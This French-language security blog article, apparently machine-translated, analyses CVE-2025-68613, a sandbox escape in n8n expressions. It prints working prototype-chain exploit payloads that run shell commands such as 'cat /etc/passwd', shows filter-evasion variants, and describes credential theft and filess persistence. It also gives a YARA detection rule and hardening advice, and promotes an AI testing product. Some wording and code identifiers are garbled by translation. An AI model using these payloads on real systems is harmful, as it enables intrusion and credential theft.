Dans les derniers jours de l'année 2025, la communauté DevSecOps a été ébranlée par la divulgation de CVE-2025-68613une vulnérabilité critique portant le score CVSS maximal de 10.0. L'objectif était de n8nl'outil open-source d'automatisation des flux de travail le plus populaire au monde, qui sert de système nerveux central à des milliers d'entreprises, orchestrant les données entre les CRM, les bases de données et l'infrastructure en nuage.
Pour l'élite des ingénieurs en sécurité, il est erroné de considérer qu'il s'agit d'une "vulnérabilité à code bas". CVE-2025-68613 est un cours magistral sur l'exploitation moderne de JavaScript. Elle démontre comment le Node.js Dynamic Runtime, lorsqu'il est combiné à un Modèle de capacité des objets et Prototype de pollution peuvent être utilisées pour transformer une plate-forme d'automatisation anodine en une tête de pont au niveau de la racine.
Cet article abandonne les rapports superficiels pour effectuer une dissection au niveau de l'octet des primitives d'évasion du bac à sable, de l'échec de l'initiative vm et comment l'analyse logique pilotée par l'IA change la donne pour les équipes bleues.
L'architecture de l'échec : Pourquoi l'architecture Node.js vm Pauses dans les modules
Pour comprendre l'exploit, il faut d'abord comprendre l'environnement. n8n permet aux utilisateurs de manipuler des données à l'aide d'expressions JavaScript, généralement enveloppées dans des éléments de type {{ }} syntaxe. Pour exécuter ce code utilisateur non fiable, n8n (avant la version 1.122.0) s'appuyait sur le code natif Node.js vm module.
Les vm fournit des API pour la compilation et l'exécution de code dans les contextes de la machine virtuelle V8. Il permet de créer un "bac à sable", un objet contextuel qui sert de champ d'application global pour le code en cours d'exécution.
L'illusion de la "sécurité
Le principe de la vm.runInNewContext(code, sandbox) est que le code à l'intérieur ne peut pas accéder à des objets en dehors de la bac à sable objet.
- Théorie : Le bac à sable est une île.
- La réalité : L'île est reliée au continent par des ponts (la chaîne des prototypes).
Si l'application hôte réussit tous dans le bac à sable (par exemple, en exposant des variables d'environnement par l'intermédiaire de process.env ou des fonctions d'utilité par l'intermédiaire d'un aides ), l'isolement est compromis. Dans le cas de n8n, le contexte d'exécution comprenait des références aux données du flux de travail, qui étaient implicitement liées au graphe d'objets de l'environnement hôte.
Principaux enseignements techniques : Le système Node.js vm Le module est pas un mécanisme de sécurité. Il s'agit d'un mécanisme de délimitation du champ d'application. Comme l'indique explicitement la documentation de Node.js : "Ne l'utilisez pas pour exécuter du code non fiable. CVE-2025-68613 est la conséquence directe de l'ignorance de cet avertissement.

Anatomie de l'exploitation : De la chaîne de prototypes au RCE
La primitive de l'exploit pour CVE-2025-68613 consiste à parcourir la chaîne de prototypes JavaScript pour échapper à la fonction vm et accéder au contexte Fonction constructeur.
La technique d'escalade "Constructeur
En JavaScript, les objets héritent des propriétés de leurs prototypes.
cette: A l'intérieur de l'expression n8n,cettefait référence à l'objet contextuel du bac à sable.this.constructor: Ce point renvoie à la fonction qui a créé l'objet contextuel. Dans la plupart desvmcela se résout par la mise en œuvre de l'optionObjetconstructeur à l'intérieur le bac à sable.this.constructor.constructor: C'est là que se trouve la faille. Parce que leObjetà l'intérieur du bac à sable est finalement dérivé des primitives du moteur V8, la traversée de son constructeur se résout souvent à l'option Environnement d'accueilFonctionconstructeur.
Une fois qu'un attaquant a pris possession de l'identité de l'hôte, il est en mesure d'accéder à l'information. Fonction ils ont effectivement un constructeur eval() qui s'exécute dans le contexte de l'hôte - en dehors du bac à sable.
Le code de la chaîne d'exécution
Décortiquons la logique d'une charge utile militarisée conçue pour contourner les filtres de base.
JavaScript
`// Étape 1 : S'échapper du bac à sable // Nous accédons au constructeur de la fonction étrangère (contexte hôte) const ForeignFunction = this.constructor.constructor ;
// Étape 2 : combler le fossé // Nous utilisons la fonction étrangère pour créer une fermeture qui renvoie l'objet "processus". // Cette nouvelle fonction n'est pas soumise aux restrictions du bac à sable. const getProcess = ForeignFunction('return process') ;
// Étape 3 : Exécution // Nous exécutons la fonction pour récupérer le handle du processus global. const proc = getProcess() ;
// Étape 4 : Importation de capacités // Nous utilisons process.mainModule pour accéder au chargeur de modules interne. const require = proc.mainModule.require ;
// Étape 5 : Armement // Nous chargeons 'child_process' et exécutons une commande shell. const result = require('child_process').execSync('cat /etc/passwd').toString();`
Dans le contexte d'un flux de travail n8n, l'ensemble de cette chaîne est minifié et injecté dans un champ d'expression légitime, tel qu'une variable de nœud "Set" ou une valeur d'en-tête de requête HTTP.
Evasion avancée : Contourner l'analyse statique
Lorsque la CVE-2025-68613 a été évoquée pour la première fois dans les cercles privés de chasseurs de bogues, certains administrateurs ont tenté de l'atténuer à l'aide de règles WAF ou de filtres regex bloquant des mots-clés tels que processus, constructeurou exiger.
Pour un langage dynamique comme JavaScript, le filtrage statique est facile à contourner.
Technique A : Arithmétique et codage des chaînes de caractères
Les attaquants peuvent reconstruire les mots-clés interdits au moment de l'exécution en utilisant la concaténation de chaînes ou les codes de caractères ASCII.
JavaScript
`{{ // Contournement des filtres regex "constructor" et "process" (() => { const c = "con" + "structor" ; const p = "pro" + "cess" ;
// Utilisation de la notation d'accès aux tableaux au lieu de la notation par points
const foreignFunc = this[c][c] ;
const proc = foreignFunc("return " + p)() ;
return proc.mainModule.require("child_process").execSync("id").toString() ;
})() }}`
Technique B : L'API Reflect et l'obscurcissement du proxy
Les exploits avancés utilisent le Réfléchir pour inspecter et invoquer des propriétés sans les nommer directement, ce qui rend l'analyse de l'arbre syntaxique abstrait (AST) beaucoup plus difficile pour les outils de sécurité traditionnels.
JavaScript
`{{ // Utilisation de Reflect pour trouver dynamiquement le constructeur sans le nommer const keys = Reflect.ownKeys(this.proto) ; const consKey = keys.find(k => k.toString().charCodeAt(0) == 99) ; // 'c'
const ForeignFunction = Reflect.get(this, consKey)[consKey] ;
// Poursuivre avec RCE...
}}`
Cela démontre pourquoi le filtrage est fondamentalement déficient contre les vulnérabilités logiques dans les langages interprétés.
Post-exploitation : n8n comme ultime pivot C2
Obtenir un RCE sur une instance n8n est souvent plus intéressant que de compromettre un serveur web standard. n8n se trouve à l'intersection des tuyaux de données les plus sensibles d'une organisation.
1. La chambre forte des justificatifs
n8n stocke les identifiants des services connectés (AWS, Stripe, Salesforce, PostgreSQL) dans sa base de données interne (SQLite par défaut, située à l'adresse ~/.n8n/database.sqlite). Alors que ces données sont cryptées, un RCE permet à l'attaquant de :
- Lire la clé de cryptage dans la variable d'environnement (
CLÉ DE CHIFFREMENT N8N_ENCRYPTION_KEY) ou leconfigfichier. - Déchiffrer l'ensemble des données d'identification.
- Pivoter latéralement dans l'infrastructure en nuage à l'aide de clés valides à haut niveau de privilège.
2. Persistance sans fichier
Les logiciels malveillants traditionnels déposent un binaire sur le disque, que les solutions EDR (Endpoint Detection and Response) peuvent analyser.
Dans n8n, un attaquant peut créer un "Shadow Workflow" :
- Déclencheur : Un nœud "Cron" configuré pour s'exécuter toutes les 10 minutes.
- Action : Un nœud "Function" exécutant un JavaScript malveillant (par exemple, un reverse shell ou un script d'exfiltration de données).
- Stockage : Le logiciel malveillant existe seulement en tant qu'objet JSON dans la base de données n8n. Il est sans fichierIl s'agit d'un système de gestion de l'information, persistant et qui s'intègre dans la logique commerciale légitime.
Détection logique pilotée par l'IA : L'avantage de la négligence
La détection de CVE-2025-68613 est un cauchemar pour les scanners DAST (Dynamic Application Security Testing) traditionnels.
- Le problème : Les scanners s'appuient sur le "blind fuzzing". Ils envoient des charges utiles telles que
OR 1=1 --ou<script>alert(1)</script>. Face à un moteur d'expression, ces charges utiles provoquent simplement des erreurs de syntaxe. Le flux de travail échoue et l'analyseur signale qu'il est "propre". - Le fossé logique : Pour détecter cela, un outil doit comprendre Syntaxe JavaScript et Contexte du flux de travail.
C'est ici que Penligent.ai représente un changement de paradigme. Penligent utilise Agents d'intelligence artificielle tenant compte du contexte qui effectuent une analyse sémantique :
- Fuzzing syntaxique : Les agents de Penligent reconnaissent la
{{ }}comme point d'injection de code. Au lieu de chaînes aléatoires, l'agent construit des objets JavaScript valides. - Sondage de capacité d'objet : L'agent injecte des sondes sûres pour tester les limites du bac à sable (par ex,
{{ this.constructor.name }}). Il analyse la sortie. S'il voit "Object" ou "Function", il en déduit que la chaîne de prototypes est intacte. - Mutation d'obscurcissement : Si une sonde est bloquée (par exemple, "Accès refusé"), l'IA de Penligent remanie automatiquement la charge utile en utilisant les techniques d'évasion mentionnées ci-dessus (String Arithmetic, Reflect API) pour vérifier si le blocage n'est que superficiel.
En simulant la méthodologie itérative d'un chercheur humain, Penligent valide les résultats de l'étude. exploitabilité de la logique, fournissant une preuve de concept (PoC) plutôt qu'un faux positif.
Manuel de l'équipe bleue : Détection et défense
Pour l'équipe bleue, l'atténuation de CVE-2025-68613 nécessite une stratégie de défense en profondeur qui suppose que la couche d'application peut être violée.
1. Signatures de réseau (YARA/Snort)
Bien que le cryptage des données utiles rende difficile la détection sur le réseau, de nombreux attaquants utilisent des données utiles par défaut. Surveillez les requêtes HTTP POST vers /rest/workflows contenant des modèles JavaScript suspects.
Exemple de règle YARA :
rule DETECT_N8N_EXPRESSION_INJECTION { meta : description = "Détecte les tentatives d'évasion de la sandbox JS dans n8n (CVE-2025-68613)" severity = "Critical" strings : $token_start = "{{" $js_constructor = "constructeur" $js_process = "process.mainModule" $js_child = "child_process" $js_char_code = "String.fromCharCode" $js_reflect = "Reflect.get" condition : $token_start et (2 of ($js_*)) }
2. Durcissement architectural
- Conteneurisation : Ne jamais exécuter n8n en tant que root. Utilisez des conteneurs Docker sans racine avec un système de fichiers en lecture seule.
- Chute de capuchon : Exécuter le conteneur avec
-cap-drop=ALLpour empêcher l'escalade des privilèges même après un RCE. - Filtrage des sorties : Configurez les politiques de réseau Kubernetes ou les groupes de sécurité AWS pour bloquer tout le trafic sortant du conteneur n8n, à l'exception des API sur liste blanche nécessaires aux flux de travail. Cela permet d'éliminer la connexion shell inversée.
3. Verrouillage de l'environnement
Définir la variable d'environnement N8N_BLOCK_ENV_ACCESS_IN_NODE=true. Cette fonction, introduite dans les versions ultérieures, tente de bloquer l'accès à l'Internet. process.env à l'intérieur des nœuds, ce qui permet de limiter le vol d'informations d'identification même si l'exécution du code est possible.
Conclusion : La fin de la confiance implicite
CVE-2025-68613 est un moment décisif pour la sécurité des plateformes Low-Code. Il nous rappelle que la flexibilité est l'ennemie de la sécurité. Lorsque nous donnons aux utilisateurs la possibilité de manipuler des données à l'aide d'un langage Turing-complet tel que JavaScript, nous les invitons à entrer dans le noyau de notre application.
L'avenir de l'automatisation sécurisée ne réside pas dans de "meilleurs filtres regex" ou dans des "correctifs". vm modules", mais dans les technologies d'isolation architecturale telles que WebAssembly (Wasm) ou Isolats V8qui fournissent un véritable sandboxing à sécurité mémoire. En attendant, des correctifs rigoureux, des tests pilotés par l'IA et une segmentation agressive du réseau restent notre seule défense.

